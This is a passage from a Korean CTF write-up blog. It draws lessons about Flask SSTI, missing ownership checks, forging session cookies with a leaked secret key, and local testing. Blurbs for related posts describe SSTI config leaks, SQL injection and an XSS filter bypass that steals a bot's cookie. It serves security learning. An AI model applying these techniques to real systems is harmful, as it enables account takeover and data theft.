render_template_string ์ž์ฒด๊ฐ€ ์œ„ํ—˜ํ•œ ๊ฒŒ ์•„๋‹ˆ๋ผ, ์‚ฌ์šฉ์ž ๊ฐ’์ด ํ…œํ”Œ๋ฆฟ ์†Œ์Šค๋กœ ๋“ค์–ด๊ฐ€๋Š” ๊ฒŒ ์œ„ํ—˜ํ•˜๋‹ค. .format() ์ด๋“  f-string ์ด๋“  ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ์ด๋“ , ํ…œํ”Œ๋ฆฟ ๋ฌธ์ž์—ด์„ ๋Ÿฐํƒ€์ž„์— ์กฐ๋ฆฝํ•˜๋Š” ์ˆœ๊ฐ„ ๊ทธ ์•ˆ์˜ ์‚ฌ์šฉ์ž ๊ฐ’์€ ์ฝ”๋“œ๊ฐ€ ๋œ๋‹ค. ๊ฐ’์€ ํ•ญ์ƒ ์ธ์ž๋กœ ๋„˜๊ธด๋‹ค. ์ด์Šค์ผ€์ดํ”„๋กœ ๋ง‰์œผ๋ ค๋Š” ์‹œ๋„๋Š” ํ—›์ˆ˜๊ณ ๋‹ค โ€” markupsafe.escape ๋Š” ์ค‘๊ด„ํ˜ธ๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š์œผ๋‹ˆ๊นŒ.

์†Œ์œ ์ž ๊ฒ€์ฆ์€ "์ฝ์–ด ์˜จ ํ–‰"๊ณผ "์„ธ์…˜"์„ ๋Œ€์กฐํ•˜๋Š” ๊ฒƒ์ด๋‹ค

memoUpdate ๋Š” ๋Œ€์ƒ ํ–‰์„ ์ด๋ฏธ ์ฝ์–ด ๋†“๊ณ ๋„ ๊ทธ๊ฑธ ์„ธ์…˜ ์‚ฌ์šฉ์ž์™€ ๋น„๊ตํ•˜์ง€ ์•Š์•˜๋‹ค. ๋กœ๊ทธ์ธ ์—ฌ๋ถ€๋งŒ ํ™•์ธํ•˜๋Š” ๊ฐ€๋ฅด๋“œ๋Š” ์ธ์ฆ์ด์ง€ ์ธ๊ฐ€๊ฐ€ ์•„๋‹ˆ๋‹ค. ๋‘˜์„ ๊ฐ™์€ ๊ฒƒ์œผ๋กœ ์ทจ๊ธ‰ํ•˜๋ฉด ์ด๋Ÿฐ ๊ตฌ๋ฉ์ด ๋‚จ๋Š”๋‹ค.

์„ธ์…˜ ํ‚ค๊ฐ€ ์†Œ์Šค์— ์žˆ์œผ๋ฉด ์ธ๊ฐ€ ๋กœ์ง ์ „์ฒด๊ฐ€ ๋ฌด์˜๋ฏธํ•ด์ง„๋‹ค

Flask ์„ธ์…˜ ์ฟ ํ‚ค๋Š” ์„œ๋ช…๋งŒ ๋ถ™๋Š”๋‹ค. ํ‚ค๋ฅผ ์•„๋Š” ์‚ฌ๋žŒ์€ ์•„๋ฌด uid ๋‚˜ ๋‹ด์„ ์ˆ˜ ์žˆ๊ณ , ๊ทธ๋Ÿฌ๋ฉด ๋ฐฉ๊ธˆ ๋„ฃ์€ ์†Œ์œ ์ž ๊ฒ€์ฆ๋„ ์ •๋ฉด์œผ๋กœ ํ†ต๊ณผํ•œ๋‹ค. ๊ฐœ๋ณ„ ๋ผ์šฐํŠธ๋ฅผ ์•„๋ฌด๋ฆฌ ์ž˜ ๋ง‰์•„๋„ ํ‚ค ํ•˜๋‚˜๊ฐ€ ์ƒˆ๋ฉด ๊ทธ ์•„๋ž˜๊ฐ€ ์ „๋ถ€ ๋ฌด๋„ˆ์ง„๋‹ค.

๋กœ์ปฌ์—์„œ ๋‹ค ๋๋‚ด๊ณ  ์˜ฌ๋ฆฌ๋Š” ๊ฒŒ ๊ฒฐ๊ตญ ๋น ๋ฅด๋‹ค

30์ดˆ ์ œํ•œ์ด ์žˆ๋Š” ์ œ์ถœ ํผ์— ๋ถ™์–ด ํ•˜๋‚˜์”ฉ ๋งž์ถฐ ๋ณผ ์ˆ˜๋„ ์žˆ์—ˆ์ง€๋งŒ, ์Šคํ‚ค๋งˆ๋ฅผ ์—ญ์‚ฐํ•ด ๊ฐ™์€ ์„œ๋ฒ„๋ฅผ ๋„์›Œ ๋†“๊ณ  ์ ๊ฒ€๊ธฐ์™€ ํšŒ๊ท€ ํ…Œ์ŠคํŠธ๋ฅผ ๋จผ์ € ๋งŒ๋“  ๋•์— ์ œ์ถœ์€ ํ•œ ๋ฒˆ์œผ๋กœ ๋๋‚ฌ๋‹ค. usage ํŽ˜์ด์ง€๊ฐ€ "๋กœ์ปฌ ํ™˜๊ฒฝ์—์„œ ํ…Œ์ŠคํŠธ ํ›„ ์„œ๋ฒ„์˜ ๊ฒ€์ฆ ๊ณผ์ •์„ ๋ฐ›๋Š” ๊ฒƒ์„ ์ถ”์ฒœ"ํ•œ๋‹ค๊ณ  ์ ์–ด ๋‘” ์ด์œ ๊ฐ€ ์žˆ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 3] 404 ํŽ˜์ด์ง€์— ์‹์„ ๋„ฃ์œผ๋ฉด ๋‹ต์„ ํ•œ๋‹ค โ€” DreamHack simple-ssti ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] 404 ํŽ˜์ด์ง€์— ์‹์„ ๋„ฃ์œผ๋ฉด ๋‹ต์„ ํ•œ๋‹ค โ€” DreamHack simple-ssti ํ’€์ด

Flask 404 ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์‚ฌ์šฉ์ž ๊ฒฝ๋กœ(request.path)๋ฅผ ํ…œํ”Œ๋ฆฟ ๋ฌธ์ž์—ด์— ๊ทธ๋Œ€๋กœ ๋ฐ•์€ ๋’ค render_template_string ์œผ๋กœ ๋ Œ๋”ํ•œ๋‹ค. ์—†๋Š” ๊ฒฝ๋กœ์— Jinja2 ์‹์„ ์‹ค์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ํ‰๊ฐ€ํ•˜๋Š” SSTI ๊ฐ€ ํ„ฐ์ง€๊ณ , FLAG ๊ฐ€ app.secret_key ๋กœ ๋“ค์–ด๊ฐ€ ์žˆ์–ด config ํ•œ ์ค„๋กœ ๊ทธ๋Œ€๋กœ ์ƒˆ์–ด ๋‚˜์˜จ๋‹ค.
#dreamhack#ctf#web+5
2026-06-28#dreamhack +6
[๐Ÿฅ‰ Bronze 2] ์นธ ํ•˜๋‚˜์งœ๋ฆฌ ๋กœ๊ทธ์ธ ํผ์œผ๋กœ admin ํ–‰๋งŒ ์ฝ• โ€” DreamHack simple_sqli_chatgpt ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ์นธ ํ•˜๋‚˜์งœ๋ฆฌ ๋กœ๊ทธ์ธ ํผ์œผ๋กœ admin ํ–‰๋งŒ ์ฝ• โ€” DreamHack simple_sqli_chatgpt ํ’€์ด

๋กœ๊ทธ์ธ ํผ์— ์ž…๋ ฅ์นธ์ด userlevel ํ•˜๋‚˜๋ฟ์ธ๋ฐ, ๊ทธ ๊ฐ’์ด ๋”ฐ์˜ดํ‘œ์งธ ์ฟผ๋ฆฌ์— ๋ฐ•ํžŒ๋‹ค. guest์™€ admin ๋‘˜ ๋‹ค userlevel์ด 0์ด๋ผ ํ”ํ•œ or 1=1์€ ์ฒซ ํ–‰ guest๋ฅผ ๋ฐ๋ ค์˜จ๋‹ค. userid๋ฅผ ์ง์ ‘ ์ง€์ •ํ•ด admin ํ–‰๋งŒ ๋‚จ๊ธด ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-27#dreamhack +5
[๐Ÿฅ‰ Bronze 2] ๋Œ€์†Œ๋ฌธ์ž ํ•œ ๋—์œผ๋กœ ๋šซ๋Š” XSS ํ•„ํ„ฐ โ€” DreamHack XSS Filtering Bypass ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ๋Œ€์†Œ๋ฌธ์ž ํ•œ ๋—์œผ๋กœ ๋šซ๋Š” XSS ํ•„ํ„ฐ โ€” DreamHack XSS Filtering Bypass ํ’€์ด

scriptยทonยทjavascript: ๋ฅผ ์ง€์šฐ๋Š” ํ•„ํ„ฐ๊ฐ€ ์žˆ๋Š”๋ฐ๋„, ๊ฒ€์‚ฌ๋Š” ์†Œ๋ฌธ์ž๋กœ ํ•˜๊ณ  ์น˜ํ™˜์€ ์›๋ณธ ๊ทธ๋Œ€๋กœ ํ•œ๋‹ค๋Š” ํ•œ ์ค„ ์ฐจ์ด ๋•Œ๋ฌธ์— <sCrIpt> ๊ฐ€ ๊ทธ๋Œ€๋กœ ์‚ด์•„๋‚จ๋Š”๋‹ค. ๋ด‡์ด ๋“ค๊ณ  ๋ฐฉ๋ฌธํ•˜๋Š” flag ์ฟ ํ‚ค๋ฅผ ๋™๊ธฐ XHR๋กœ /memo์— ํ˜๋ ค ํšŒ์ˆ˜ํ•œ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค. location.href ๋น„๋™๊ธฐ ์ „์†ก์ด driver.quit ๋ ˆ์ด์Šค์— ๊ฑธ๋ ค ์‹คํŒจํ–ˆ๋˜ ์‚ฝ์งˆ๊นŒ์ง€ ๋‹ด์•˜๋‹ค.
#dreamhack#ctf#web+6
2026-06-26#dreamhack +5